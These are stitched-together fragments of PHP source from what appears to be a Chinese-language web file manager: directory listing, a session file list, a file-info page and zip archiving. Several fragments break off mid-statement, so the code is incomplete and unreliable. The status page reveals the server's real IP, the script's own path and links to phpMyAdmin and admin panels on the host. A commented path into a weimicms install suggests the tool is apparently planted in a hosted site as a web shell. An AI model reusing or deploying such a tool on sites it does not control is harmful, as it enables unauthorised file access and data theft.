function getpath() { if (func_num_args() > 0) { $path = func_get_arg(0); } else { $path = $this->path; } if (is_dir($path)) { $fs = array(array(), array(), array()); if (!($dh = opendir($path))) { return false; } while (($entry = readdir($dh)) !== false) { if ($entry != "." && $entry != "..") { if (is_dir($entry = ___realpath($path . "/" . $entry))) { $fs[0][] = $entry; } elseif (is_file($entry)) { $fs[1][] = $entry; } else { if ($entry != "") { $fs[2][] = $entry; } } } } closedir($dh); if (count($fs, 1) - 3 < 1) { return null; } if (count($fs[0]) > 0) { usort($fs[0], "___sortcmp"); } if (count($fs[1]) > 0) { usort($fs[1], "___sortcmp"); } if (count($fs[2]) > 0) { usort($fs[2], "___sortcmp"); } return $fs; } elseif (file_exists($path)) { if (!($fs = stat($path))) { return false; } else { return $fs; } } else { return false; } }
<?php require "config.php"; if (!isset($_GET['getcwd'])) { $getcwd = OPEN; } else { $getcwd = ___realpath(trim($_GET['getcwd'])); } if (!isset($_SESSION['flist'])) { $_SESSION['flist'] = array(); } if (isset($_POST['addpath'])) { if (is_array($_POST['addpath'])) { if (count($_POST['addpath']) > 0) { $_SESSION['flist'] = array_filter(array_unique(array_merge($_SESSION['flist'], $_POST['addpath']))); usort($_SESSION['flist'], "___sortcmp"); } } } if (isset($_GET['clean'])) { if (($clean = trim($_GET['clean'])) != "") { switch ($clean) { case "all": $_SESSION['flist'] = array(); header("Location: flist.php?getcwd=" . urlencode($getcwd)); break; case "array": if (isset($_POST['fclean'])) { if (is_array($_POST['fclean'])) { if (count($_POST['fclean']) > 0) { foreach ($_POST['fclean'] as $tmp) {
echo "域名:" . "<a id=ax href=http://" . $_SERVER['HTTP_HOST'] . " target=_blank>" . $_SERVER['HTTP_HOST'] . "</a>" . " 服务器IP:" . "<a id=ax href=http://" . $_SERVER['SERVER_ADDR'] . " target=_blank>" . $_SERVER['SERVER_ADDR'] . "</a>" . " 域名转IP = 代理IP:" . "<a id=ax href=http://" . gethostbyname($_SERVER['SERVER_NAME']) . " target=_blank>" . gethostbyname($_SERVER['SERVER_NAME']) . "</a>\n"; //echo "域名:"."<a id=ax href=http://".$_SERVER['HTTP_HOST']."/weimicms/Lib/Action/Action/User/Core/"." target=_blank>".$_SERVER['HTTP_HOST']."</a>"." 服务器IP:"."<a id=ax href=http://".$_SERVER['SERVER_ADDR']."/weimicms/Lib/Action/Action/User/Core/"." target=_blank>".$_SERVER['SERVER_ADDR']."</a>"." 域名转IP = 代理IP:"."<a id=ax href=http://".gethostbyname($_SERVER['SERVER_NAME'])."/weimicms/Lib/Action/Action/User/Core/"." target=_blank>".gethostbyname($_SERVER['SERVER_NAME'])."</a>"\n"; echo "</form>\n"; echo " [<a href=\"xuxi.php {$multiple}\" target=_blank>浏览详细信息</a>] [<a href=\"phpmini.php {$multiple}\" target=_blank>数据库</a>] [<a href=http://" . $_SERVER['SERVER_ADDR'] . "/phpMyAdmin/" . " target=_blank>Win 本地数据库 1</a>] [<a href=http://" . gethostbyname($_SERVER['SERVER_NAME']) . "/phpMyAdmin/" . " target=_blank>Win 本地数据库 2</a>] [<a href=http://" . $_SERVER['SERVER_ADDR'] . ":8080/" . " target=_blank>Linux 管理系统 1</a>] [<a href=http://" . gethostbyname($_SERVER['SERVER_NAME']) . ":8080/" . " target=_blank>Linux 管理系统 2</a>] [<a href=http://" . $_SERVER['SERVER_ADDR'] . ":8080/phpmyadmin/" . " target=_blank>Linux 数据库 1</a>] [<a href=http://" . gethostbyname($_SERVER['SERVER_NAME']) . ":8080/phpmyadmin/" . " target=_blank>Linux 数据库 2</a>]"; echo "</div>\n"; echo "<div class=\"love\">\n"; if (function_exists("disk_total_space") && function_exists("disk_free_space")) { echo "分区大小:" . ___filesize(disk_total_space($path)) . " 空闲空间:" . ___filesize(disk_free_space($path)) . "<br />"; echo "服务器真实地址如下:<br />\n"; echo "当前文件路径: ========> " . __FILE__ . "<br />\n"; echo "当前目录路径: ========> " . $path . "<br />\n"; echo '<br>'; echo "浏览路径: [<a href=\"" . $_SERVER['PHP_SELF'] . "{$multiple}\" target=_blank>打开浏览</a>] =====> " . $_SERVER['PHP_SELF'] . "<br />\n"; echo '<br>'; } echo "浏览路径: [<a href=\"?path=" . urlencode(___realpath($path . "/..")) . "{$multiple}\">上级目录</a>] " . ___shortpath(___realpath($path)); if ($multiple != null) { echo " [<a href=\"./multiple.php?type={$_GET['multiple']}&gopath=" . urlencode($path) . "\">选定</a>|<a href=\"./dlym.php?path=" . urlencode($path) . "\">关闭</a>]"; } echo " [<a href=\"{$_SERVER['PHP_SELF']}?{$_SERVER['QUERY_STRING']}&logout\">注销</a>]\n"; echo '<br>'; echo '<br>'; echo "\n</div>\n"; if (($data = $filesystem->getpath()) === false) { echo "<div class=\"error\">抱歉,系统无法获取对应目录内容!</div>\n"; } elseif ($data === null) { echo "<div class=\"error\">抱歉,这是一个无内容的空目录哦!</div>\n"; echo "<div class=\"love\">\n"; echo "<form action=\"multiple.php?getcwd=" . urlencode($path) . "\" method=\"POST\">"; echo "<select name=\"type\">\n"; echo "<option value=\"list\">文件清单(管理)</option>\n";
<?php require "config.php"; if (!isset($_GET['path'])) { header("Location: ./404.php"); exit; } elseif (is_dir($path = ___realpath(trim($_GET['path'])))) { header("Location: ./404.php"); exit; } $fs = new filesystem($path); xhtml_head(___shortpath($path)); if (!($data = $fs->getpath($path))) { echo "<div class=\"error\">\n"; echo "[<a href=\"./index.php?path=" . urlencode($getcwd) . "\">返回目录</a>]\n"; echo "</div>\n"; } else { echo "<div class=\"love\">\n"; echo "<a href=\"./index.php?path=" . urlencode(dirname($path)) . "\">[返回]</a>\n<br/>"; echo "文件名称:" . ___basename($path) . "<br />\n"; echo "文件大小:" . ___filesize($data['size']) . "<br />\n"; echo "所有者ID:{$data['uid']}<br />\n"; echo "所有组ID:{$data['gid']}<br />\n"; echo "上次访问:" . gmdate("Y-m-d H:i:s", $data['atime'] + TIME) . "<br />\n"; echo "上次修改:" . gmdate("Y-m-d H:i:s", $data['mtime'] + TIME) . "<br />\n"; echo "上次改变:" . gmdate("Y-m-d H:i:s", $data['ctime'] + TIME) . "<br />\n"; echo "</div>\n"; echo "<div class=\"like\">\n"; echo "爱特解压<a href=\"./index.php?new&path=" . urlencode(dirname($path)) . "&multiple=unpackdir&getcwd=" . urlencode($path) . "\">目标目录</a>\n"; echo "</div>\n"; echo "<div class=\"love\">\n";
echo "</div>\n"; echo "<div class=\"like\">文件清单(选择列表)</div>\n"; for ($i = 0; $i < count($_SESSION['flist']); $i++) { echo "<div class=\"love\">[{$i}] - {$_SESSION['flist'][$i]}</div>\n"; } } xhtml_footer(); break; case "pkzip": xhtml_head("压缩文件"); if (count($_SESSION['flist']) < 1) { echo "<div class=\"error\">\n"; echo "[<a href=\"./index.php?path=" . urlencode($getcwd) . "\">返回</a>]抱歉,没有文件列表!\n"; echo "</div>\n"; } else { if (($zpath = ___realpath($getcwd)) == "/") { $zpath = $zpath .= "archive.zip"; } else { $zpath = $zpath .= "/archive.zip"; } echo "<div class=\"like\">\n"; echo "<a href=\"./index.php?path=" . urlencode($getcwd) . "&multiple={$type}\">存放目录</a>(归档路径)\n"; echo "</div>\n"; echo "<div class=\"love\">\n"; echo "<form action=\"pkzip.php\" method=\"GET\">\n"; echo "<input type=\"text\" name=\"gopath\" value=\"{$zpath}\" />\n"; echo "<input type=\"hidden\" name=\"getcwd\" value=\"{$getcwd}\" />\n"; echo "<input type=\"submit\" value=\"GO\" />\n"; echo "</form>\n"; echo "</div>\n"; echo "<div class=\"like\">文件清单(选择列表)</div>\n";